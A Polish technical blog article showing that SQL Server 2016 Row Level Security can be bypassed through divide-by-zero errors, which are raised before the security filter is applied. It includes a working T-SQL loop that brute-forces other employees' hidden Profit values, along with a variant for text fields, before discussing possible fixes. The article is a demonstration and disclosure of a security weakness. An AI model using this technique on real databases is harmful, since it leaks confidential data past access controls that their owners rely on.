SQLServer_RowLevelSecurity00

Row Level Security – luka w bezpieczeństwie?

Row Level Security był jedną z najbardziej wyczekiwanych funkcjonalności w SQL Server. Wraz z SQL Server 2016 dostaliśmy do dyspozycji ten mechanizm – wielu z nas po pierwszych demonstracjach wyobrażało sobie ogrom możliwości jakie on oferuje. Jednakże póki co posiada on kilka pomniejszych luk na które trzeba zwrócić uwagę – jedną z nich postaram się opisać w ramach niniejszego artykułu. Zapraszam do lektury.

Jak zapewne wiecie (a jeśli nie wiecie odsyłam do mojego artykułu gdzie opisuję Row Level Security – znajdziecie go tutaj) bohater niniejszego artykułu działa na podstawie funkcji użytkownika pełniących rolę predykatu filtrującego otrzymywany rezultat lub blokującego określone akcje. W momencie gdy użytkownik wysyła dane np. w postaci zapytania SELECT to SQL Server zgodnie z predykatem blokującym musi je odpowiednio przefiltrować i tego typu filtracja następuje dla każdego kolejnego wiersza w tabeli, którą użytkownik chce odpytać. Niesie to ze sobą pewne konsekwencje. Aby to zobrazować wykonajmy pewien przykład – na początku stwórzmy sobie bazę testową:

USE master 
GO

DROP DATABASE IF EXISTS RowLevelSecurityDemo;
GO

CREATE DATABASE RowLevelSecurityDemo;
GO

Następnie stwórzmy sobie schemat w którym umieścimy wszystkie funkcje związane z RLS:

USE RowLevelSecurity Demo
GO
CREATE SCHEMA Security
GO

Stwórzmy również dwie testowe tabele, które będą kopią 1:1 dwóch tabel z bazy WideWorldImportersDW:

SELECT * INTO dbo.Sales FROM WideWorldImportersDW.Fact.Sale
GO
SELECT * INTO dbo.Employee FROM WideWorldImportersDW.Dimension.Employee
GO

CREATE CLUSTERED COLUMNSTORE INDEX [CCI_Sales] 
	ON [dbo].[Sales] 
WITH (DROP_EXISTING = OFF, COMPRESSION_DELAY = 0)
GO

CREATE CLUSTERED INDEX [CIX_Employee] ON [dbo].[Employee]
(
	[Employee Key] ASC
)
GO

Kolejnym krokiem będzie stworzenie użytkownika o loginie “Taj”, któremu nadamy prawo odczytu danych z obu nowo powstałych tabel oraz damy mu uprawnienie SHOWPLAN aby mógł podglądać plany wykonania:

CREATE USER [Taj] WITHOUT LOGIN

GRANT SELECT ON dbo.Sales TO Taj;  
GRANT SELECT ON dbo.Employee TO Taj;
GRANT SHOWPLAN TO Taj;

Gdy mamy gotowe obiekty testowe przejdźmy do implementacji Row Level Security- po pierwsze stworzymy funkcję, która będzie predykatem filtrującym tj. będzie zwracać tylko te dane z tabeli Sales, które są odpowiednie dla odpytującego użytkownika. W skrócie można powiedzieć, że dane z tabeli Sales będą połączone z tabelą Employee i przefiltrowane aby pokazywać tylko tą sprzedaż z którą jest połączony aktualnie odpytujący użytkownik tj. w tabeli Employee kolumna Preferred Name będzie równa jego loginowi.Ponadto dodaliśmy warunek, że jeżeli użytkownik będzie należał do grupy sysadmin to wszystkie wiersze mają zostać zwrócone:

ALTER FUNCTION security.fn_secureSales(@SalesPersonID AS INT)  
    RETURNS TABLE  
WITH SCHEMABINDING  
AS  
    RETURN 
SELECT 1 AS result   
WHERE 
	EXISTS(
	SELECT NULL
	FROM
	dbo.Employee AS E
	WHERE( E.[Employee Key]=@SalesPersonID
		AND E.[Preferred Name] = USER_NAME() )
		OR IS_SRVROLEMEMBER('sysadmin')=1
	)

Następnie stwórzmy sobie Politykę Bezpieczeństwa i przypiszmy do niej naszą funkcję jako predykat blokujący od razu ją przy tym włączając:

CREATE SECURITY POLICY SalesFilter  
ADD FILTER PREDICATE security.fn_secureSales([Salesperson Key])   
ON dbo.Sales 
WITH (STATE = ON);
GO

Teraz przetestujmy nasz mechanizm zabezpieczeń – przełączmy się na użytkownika Taj i wykonajmy proste polecenie SELECT:

EXECUTE AS USER = 'Taj'; 

SELECT * FROM dbo.Sales;

Wszystko działa w porządku i użytkownik nie ma dostępu do innych danych niż swoje – czy aby na pewno? Upewnijmy się wykonując zapytanie, które powinno zwrócić tylko nazwę naszego loginu czyli Taj:

SELECT DISTINCT E.[Preferred Name] FROM dbo.Sales AS S
JOIN dbo.Employee AS E
ON S.[Salesperson Key]=E.[Employee Key]

Spójrzmy na plan zapytania SELECT * FROM Sales wykonywany jako użytkownik Taj. Po lewej stronie plan estymowany po prawej plan aktualny:

Estymowana liczba wierszy jest zdecydowanie inna niż aktualna ze względu na fakt, iż nasz plan został pobrany z cache gdzie trafił on wcześniej gdy wywołałem to zapytanie jako administrator i widziałem wszystkie wiersze. Możliwość podglądania planów zapytań daje nam pewne możliwości interpretacji wyników bo sama liczba wierszy pozwala wysnuć pewne wnioski. Co ciekawe sama filtracja wierszy przez predykat blokujący ma miejsce w Nested Loops:

Bazując na powyższym planie możemy zakładać, że odfiltrowanie danych zgodnie z regułami bezpieczeństwa może mieć miejsce po odczytaniu danych operatorem Index Scan. Jaki z tego wniosek? A no taki, że przed zastosowaniem reguły bezpieczeństwa możemy wstawić własny warunek! O co mi chodzi? Sprawdźmy na przykładzie! W ramach naszej testowej tabeli mamy kolumnę Profit, która zawiera informację o zysku transakcji – jak poznać tę wartość dla innych pracowników niż my sami? Wystarczy wywołać błąd! Tak nie przeczytaliście tego źle – wystarczy wywołać błąd dzielenia przez zero:

select * from dbo.Sales
where Profit/(Profit-8.5)=0

Jeżeli powyższe zapytanie zwróci błąd oznacza to, że któryś rekordów w kolumnie Profit posiadał wartość 8.5 ponieważ 8.5/0 wygeneruje nam właśnie ten błąd. Pojawia się tutaj pytanie czy to któryś z rekordów przypisanych do naszego bieżącego użytkownika? Otóż niekoniecznie!

Msg 8134, Level 16, State 1, Line 123
Divide by zero error encountered.

Spójrzcie na plan wykonania i to gdzie nastąpiła filtracja w tym przypadku:

Została ona wykonana bardzo wcześnie bo już przy skanowaniu indeksu kolumnowego czyli tak jak zakładaliśmy przed zastosowaniem filtracji wg. reguł bezpieczeństwa. Oznacza to dla nas, że tak naprawdę możemy uzyskać informacje z jakim zyskiem zostały zrealizowane transakcje innych osób!

Aby tego dokonać wystarczy, że wykonamy zapytanie w kilku pętlach. Pierwsza pętla będzie przebiegała po identyfikatorach użytkowników – zakładamy, że są to liczby całkowite. Druga pętla będzie przebiegała po datach w zadanym okresie czasu, trzecia z kolei będzie sprawdzała wartość potencjalnego zysku. Jeżeli nastąpi błąd dzielenia przez zero oznacza to, że natrafiliśmy na właściwą kombinację daty, identyfikatora użytkownika oraz zysku. Aby nasza pętla nie przerwała swojego działania w momencie gdy natrafi na pierwszy błąd – przechwycimy ten błąd i bieżące wartości umieścimy w tabeli tymczasowej, którą będziemy mogli później odczytać. Dla szybkości działania sprawdzimy możliwe wpisy dla identyfikatorów od 0 do 10

SET NOCOUNT ON
GO

DECLARE @CurrentUserID INT=1
DECLARE @Profit DECIMAL(18,4)=0
DECLARE @MaxProfit DECIMAL(18,4)=20.0
DECLARE @StartDate date='20130101'
DECLARE @EndDate date='20130110'
DECLARE @CurrentDate date=@StartDate
DECLARE @DummyVar INT

DROP TABLE IF EXISTS #EmployeeProfits
CREATE TABLE #EmployeeProfits
(
PersonID int,
Profit decimal(18,4),
DealDate date
)

WHILE @CurrentUserID<10
BEGIN
print @CurrentUserID
	WHILE @CurrentDate<=@EndDate
	BEGIN
	print @CurrentDate
			WHILE @Profit<=@MaxProfit
				BEGIN
						BEGIN TRY
						SET @DummyVar=(
						SELECT 1 FROM dbo.Sales AS S
						WHERE [SalesPerson Key]=@CurrentUserID 
						AND CAST(Profit AS DECIMAL(18,4))/(CAST(Profit AS DECIMAL(18,4))-@Profit)=0
						AND S.[Invoice Date Key]=@CurrentDate)
						END TRY

						BEGIN CATCH
						IF ERROR_NUMBER()=8134
						BEGIN
							print 'Record found!'
							 INSERT INTO #EmployeeProfits
							 VALUES(@CurrentUserID,@Profit,@CurrentDate)
						END
						END CATCH
				SET @Profit=@Profit+0.01
				END
	SET @Profit=0
	SET @CurrentDate=DATEADD(DAY,1,@CurrentDate)
	END
SET @CurrentDate=@StartDate
SET @CurrentUserID=@CurrentUserID+1
END

Już w trakcie wykonywania zauważymy, że nasz algorytm działa i do naszej testowej tabeli trafiły jakieś wpisy:

Po wykonaniu naszej pętli wróćmy do naszego oryginalnego kontekstu i sprawdźmy czy nasza testowa tabela odpowiada rzeczywistym danym w tabeli Sales:

select * from #EmployeeProfits
Order by PersonID,DealDate,Profit


select 
[Salesperson Key] AS PersonID,
Profit,
[Invoice date key] AS DealDate
 from dbo.Sales
where [Salesperson Key]<10  AND [Invoice date key] BETWEEN '20130101' AND '20130110'
AND Profit> 0 AND Profit<=20
Order by PersonID,DealDate,Profit

Wiecie co? Nasza tabela jest niemal identyczna z tym co znajduje się w oryginalnej tabeli Sales! Jedyna różnica polega na tym, że nasza pętla nie wyłapała sytuacji gdy ten sam SalesPerson w tym samym dniu zawarł transakcję z tym samym zyskiem – myślę, że gdybyśmy bardziej dopracowali nasz algorytm to moglibyśmy odwzorować całą tabelę sprzedażową! Czy jest to błąd ze strony Row Level Security? Jak najbardziej tak! Bo widać w jak łatwy sposób można obejść to ograniczenie.

Czy powyższa pętla spełnia swoją rolę tylko i wyłącznie w przypadku liczb? Oczywiście, że nie – możemy również stworzyć coś takiego na polach tekstowych i również uzyskać sztuczny błąd:

select * from dbo.Sales
where 1/IIF(Package='each',0,1)=0

Jednakże nie we wszystkich scenariuszach uzyskamy dane – w przypadku długich pól tekstowych będzie to trudne zadanie (co nie znaczy niemożliwe). Jednakże mimo wszystko wydaje mi się, że błąd z dzieleniem przez zero jest poważną luką bezpieczeństwa i jedynym rozwiązaniem jakie na ten moment widzę jest przeniesienie filtracji rekordów na dalszą część planu wykonania co oczywiście wpłynie negatywnie na wydajność. Innym sposobem na załatanie tej luki byłoby automatyczne obsłużenie błędu 8134 w sekcji WHERE gdy włączony jest RLS tj. w przypadku jego wystąpienia rekord nie był by zwracany. Na ten moment mechanizm Row Level Security mimo ogromnego potencjału nie może być zastosowany w każdym przypadku i należy do niego podchodzić z ostrożnością.

Leave a Reply